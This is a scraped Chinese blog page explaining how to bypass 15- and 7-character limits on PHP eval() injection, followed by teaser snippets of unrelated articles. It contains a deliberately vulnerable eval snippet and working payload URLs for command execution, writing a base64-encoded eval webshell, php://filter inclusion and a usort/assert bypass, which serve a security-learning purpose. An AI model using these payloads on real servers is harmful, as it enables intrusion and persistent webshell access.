当前位置: 首页 > news >正文

EVAL长度突破限制

目录

突破15位限制

代码

绕过方式

第一种(使用echo执行)

第二种(使用file_get_content追加文件后进行问件包含)

第三种(使用usort可变长参数)

突破7位限制

第一种(可以使用>创建文件然后将文件名按时间顺序读取执行)


突破15位限制

代码

首先输入eval,限制param不能超过17位然后,这个输入里面不能包含eval和assert

<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}

绕过方式

第一种(使用echo执行)

http://192.168.244.152:8080/web.php?param=echo%20`$_GET[1]`;&1=id

代码执行转换为命令执行

第二种(使用file_get_content追加文件后进行问件包含)

http://192.168.244.152:8080/web.php?1=file_put_contents&param=$_GET[1](N,P,8);

往目录下写文件,然后将一串base64编码追加进去,为啥要用base64是因为一些特殊字符在file_get_content追加不了的

追加后的值,这个base64编码解码后的值是<?php eval($_POST[9]);

然后使用php伪协议将代码转成一个正常的字符,然后使用文件包含直接执行

http://192.168.244.152:8080/web.php?include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N

第三种(使用usort可变长参数)

1[]=test&1[]=phpinfo();&2=assert

注意这里由于有些php版本将usort删掉了所以要使用5.6版本

突破7位限制

第一种(可以使用>创建文件然后将文件名按时间顺序读取执行)

w 长度最短的命令
ls -t 以创建时间来列出当前目录下所有文件
文件列表以[换行符]分割每个文件
引入 `\` 转义ls时的换行
换行不影响命令执行
成功构造任意命令执行,写入Webshell

使用base64的原因就是有些特殊字符没有办法插入

最终文件

相关文章:

EVAL长度突破限制

目录 突破15位限制 代码 绕过方式 第一种&#xff08;使用echo执行&#xff09; 第二种&#xff08;使用file_get_content追加文件后进行问件包含&#xff09; 第三种&#xff08;使用usort可变长参数&#xff09; 突破7位限制 第一种&#xff08;可以使用>创建文件…...

如何判断树上一个点是否在直径上

# 旅游规划 ## 题目描述 W市的交通规划出现了重大问题&#xff0c;市政府下定决心在全市各大交通路口安排疏导员来疏导密集的车流。但由于人员不足&#xff0c;W市市长决定只在最需要安排人员的路口安排人员。 具体来说&#xff0c;W市的交通网络十分简单&#xff0c;由n个…...

docker 部署 RabbitMQ

命令 docker run -d --namerabbitmq \ -p 5671:5671 -p 5672:5672 -p 4369:4369 \ -p 15671:15671 -p 15672:15672 -p 25672:25672 \ -e RABBITMQ_DEFAULT_USERusername\ -e RABBITMQ_DEFAULT_PASSpassword\ -v /usr/local/rabbitmq/data:/var/lib/rabbitmq \ -v /usr/local/r…...

设计模式 - 过滤器模式

💝💝💝首先,欢迎各位来到我的博客!本文深入理解设计模式原理、应用技巧、强调实战操作,提供代码示例和解决方案,适合有一定编程基础并希望提升设计能力的开发者,帮助读者快速掌握并灵活运用设计模式。 💝💝💝如有需要请大家订阅我的专栏【设计模式】哟!我会定…...

使用 Locust 进行本地压力测试

在应用开发和运维过程中&#xff0c;了解应用在高负载情况下的表现至关重要。压力测试可以帮助你识别性能瓶颈和潜在问题。本文将介绍如何使用 Locust 工具进行本地压力测试&#xff0c;模拟高并发场景&#xff0c;并分析测试结果。 1. 什么是 Locust&#xff1f; Locust 是一…...

【图形学】TA之路-矩阵应用平移-旋转-大小

矩阵应用&#xff1a;在 Unity 中&#xff0c;Transform 和矩阵之间的关系非常密切。Transform 组件主要用于描述和控制一个物体在三维空间中的位置、旋转和缩放&#xff0c;而这些操作背后实际上都是通过矩阵来实现的 1. Transform 组件与矩阵的关系 Transform 组件包含以下…...

Spring 循环依赖解决方案

文章目录 1. 循环依赖的产生2. 循环依赖的解决模型3. 基于setter/Autowired 的循环依赖1_编写测试代码2_初始化 Cat3_初始化 Person4_ 回到 Cat 的创建流程5_小结 4. 基于构造方法的循环依赖5. 基于原型 Bean 的循环依赖6. 引人AOP的额外设计7. 总结 IOC 容器初始化bean对象的逻…...

可视化大屏:如何get到领导心目中的“科技感”?

你如果问领导可视化大屏需要什么风格的&#xff0c;领导大概率说科技感的&#xff0c;然后你就去做了&#xff0c;结果被劈了一顿&#xff0c;什么原因&#xff1f;因为你没有get到领导心目中描述的科技感。 一、为什么都喜欢科技感 科技感在可视化大屏设计中具有以下好处&am…...

基于Python的金融数据采集与分析的设计与实现

基于Python的金融数据采集与分析的设计与实现 “Design and Implementation of Financial Data Collection and Analysis based on Python” 完整下载链接:基于Python的金融数据采集与分析的设计与实现 文章目录 基于Python的金融数据采集与分析的设计与实现摘要第一章 绪论1…...

使用Sanic和SSE实现实时股票行情推送

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐&#xff1a;「storm…...

redis散列若干记录

字典 redis本身使用字典结构管理数据 redis使用hash表实现字典结构 使用了什么hash算法 使用SipHash算法&#xff0c;该算法能有效防止Hash表碰撞&#xff0c;并有不错的性能 hash冲突怎么解决 使用链表法解决hash冲突 hash表如何扩容 渐进式扩容&#xff0c;不会引起线程长期阻…...

Java面试八股之什么是STOMP协议

什么是STOMP协议 STOMP&#xff08;Simple Text Oriented Messaging Protocol&#xff09;是一种为消息队列和事件驱动架构设计的轻量级协议&#xff0c;主要用于在消息中间件之间进行消息交换。它的设计原则是简单、跨平台和易于实现&#xff0c;这使得STOMP成为许多实时应用…...

【自用】Python爬虫学习(一):爬虫基础与四个简单案例

Python爬虫学习&#xff08;一&#xff09; 基础知识四个简单的爬虫案列1.使用urlopen获取百度首页并保存2.获取某翻译单词翻译候选结果3.获取某网页中的书名与价格4.获取某瓣排名前250的电影名称 基础知识 对于一个网页&#xff0c;浏览器右键可以查看页面源代码&#xff0c;…...

[python]uiautomation.WindowControl函数用法

Python UIAutomation 窗口控件 介绍 在本文中&#xff0c;我们将探讨Python UIAutomation库以及如何使用它来控制和自动化Windows应用程序。我们将介绍UIAutomation的基础知识及其功能&#xff0c;并提供代码示例来演示其用法。 什么是UI自动化&#xff1f; UIAutomation是一个…...

学习记录第二十七天

进程 wait函数 功能 等待子进程结束&#xff1a;父进程调用wait函数后&#xff0c;会暂停执行&#xff0c;直到它的某个子进程结束。收集子进程状态&#xff1a;当子进程结束时&#xff0c;wait函数会返回子进程的终止状态&#xff0c;包括是正常终止还是被信号终止等信息。…...

servlet的执行顺序

执行的时候Tomcat先初始化 然后调用 server 根据server来回调请求方式下面会追入源码解释 package com.haogu.servlet;import javax.servlet.ServletConfig; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.…...

Go语言 类封装和绑定方法

本篇文章主要内容为Go语言类相关操作&#xff1a;封装和绑定方法介绍及示例。 目录 封装 绑定方法 类方法形参 指针形参 设置类方法参数 指针与非指针区别 总结 封装 go语言支持类的操作&#xff0c;但是没有class关键字&#xff0c;使用struct来模拟类。 示例如下&am…...

DirectShow过滤器开发-写WAV音频文件过滤器

下载本过滤器DLL 本过滤器将PCM音频流&#xff0c;或ADPCM&#xff0c;IEEE_FLOAT&#xff0c;ALAW&#xff0c;MULAW&#xff0c;GSM610音频流写入WAV音频文件。 写WAV音频文件过滤器信息 过滤器名称&#xff1a;写WAV 过滤器GUID&#xff1a;{CF704A9C-0C67-4712-BA33-DD0A…...

php根据截止时间计算剩余的时间,并且在剩余时间不足1天时仅显示小时数

//获取政策库文章public function getIndexZckList(){$fl_id = input(fl_id);if(empty(...

Docker最佳实践进阶(一):Dockerfile介绍使用

大家好,上一个系列我们使用docker安装了一系列的基础服务,但在实际开发过程中这样一个个的安装以及繁杂命令不仅仅浪费时间,更是容易遗忘,下面我们进行Docker的进阶教程,帮助我们更快速的部署和演示项目。 一、什么是Dockerfile? Dockerfile 是一个文本文件,其中包含了…...

ArcGIS Desktop许可证被占满?别慌,这3个方法帮你快速释放Advanced许可(附详细步骤)

ArcGIS Desktop高级许可被占用&#xff1f;3种高效解决方案与实战技巧 当你正在赶制项目报告或处理关键地理数据时&#xff0c;突然弹出的"All ArcGIS for Desktop Advanced licenses are in use"错误提示足以让任何GIS专业人士心跳加速。这种情况往往发生在团队共享…...

5步打造企业级数字人创作平台:从本地化部署到场景落地全指南

5步打造企业级数字人创作平台&#xff1a;从本地化部署到场景落地全指南 【免费下载链接】Duix-Avatar 项目地址: https://gitcode.com/GitHub_Trending/he/Duix-Avatar 一、价值定位&#xff1a;数字人技术的企业级应用价值 核心价值&#xff1a;Duix.Avatar通过全本…...

Unity游戏开发:A*寻路算法实战,5步搞定NPC智能移动(附完整Demo)

Unity游戏开发&#xff1a;A*寻路算法实战指南与高级优化技巧 在游戏开发中&#xff0c;NPC的智能移动一直是开发者需要解决的核心问题之一。想象一下&#xff0c;当玩家在《魔兽世界》中穿越荆棘谷时&#xff0c;那些巡逻的巨魔守卫是如何绕过树木和山丘找到最短路径的&#x…...

避坑指南:在RV1103B上为SC132GS摄像头添加设备树节点的正确姿势

RV1103B平台SC132GS摄像头设备树配置实战指南 1. 瑞芯微RV1103B平台摄像头开发概述 在嵌入式视觉系统开发中&#xff0c;瑞芯微RV1103B凭借其出色的图像处理能力和低功耗特性&#xff0c;成为工业视觉、智能门铃等场景的热门选择。SC132GS作为一款高性价比的1/3英寸CMOS传感器&…...

QQ机器人开发零基础入门:LuckyLilliaBot插件完全指南

QQ机器人开发零基础入门&#xff1a;LuckyLilliaBot插件完全指南 【免费下载链接】LuckyLilliaBot NTQQ的OneBot API插件 项目地址: https://gitcode.com/gh_mirrors/li/LuckyLilliaBot 在即时通讯机器人开发领域&#xff0c;如何快速实现QQ平台的自动化交互&#xff1f…...

告别臃肿OS!手把手教你将Zephyr蓝牙协议栈移植到资源受限MCU(基于Polling轮询架构)

从零构建极简蓝牙协议栈&#xff1a;Zephyr Polling架构在资源受限MCU的实战指南 当智能手环的PCB面积被压缩到硬币大小&#xff0c;当电子价签需要依靠纽扣电池运行三年&#xff0c;传统蓝牙协议栈的"豪华配置"突然成了奢侈品。在深圳华强北的某个研发实验室里&…...

NVIDIA显卡在WSL2下的CUDA开发环境搭建:为什么我的nvcc命令找不到?

NVIDIA显卡在WSL2下的CUDA开发环境搭建&#xff1a;为什么我的nvcc命令找不到&#xff1f; 当你在WSL2中兴奋地准备开始CUDA开发时&#xff0c;却遭遇了"nvcc: command not found"的报错&#xff0c;这种挫败感我深有体会。作为在WSL2环境下进行CUDA开发的老手&…...

别再只盯着采样率了!用STM32H723的ADC做高精度FFT分析,这些坑我帮你踩过了

STM32H723高精度FFT实战&#xff1a;从ADC采样到频谱分析的工程化实现 频谱分析在工业振动监测、音频处理、电力系统谐波检测等领域有着广泛应用。STM32H723系列凭借其高性能ADC和浮点运算单元&#xff0c;为嵌入式实时频谱分析提供了硬件基础。但实际工程中&#xff0c;从ADC…...

开源STK插件模块大全:提升你的空天地一体化仿真效率

开源STK插件模块大全&#xff1a;提升空天地一体化仿真效率的实战指南 如果你已经熟悉STK的基础操作&#xff0c;却还在为复杂的星座仿真流程和有限的分析功能而头疼&#xff0c;那么开源插件模块将成为你的效率倍增器。本文将带你深入探索那些被专业用户私藏的工具箱&#xff…...

告别Keil?STM32CubeIDE环境搭建全记录:附JAVA安装与汉化资源指北

从Keil到STM32CubeIDE&#xff1a;嵌入式开发环境迁移实战指南 当ST官方逐渐将重心转向HAL库生态时&#xff0c;许多传统开发者正面临工具链升级的抉择。作为一款集成了STM32CubeMX功能的Eclipse-based IDE&#xff0c;STM32CubeIDE不仅代表着开发模式的转变&#xff0c;更预示…...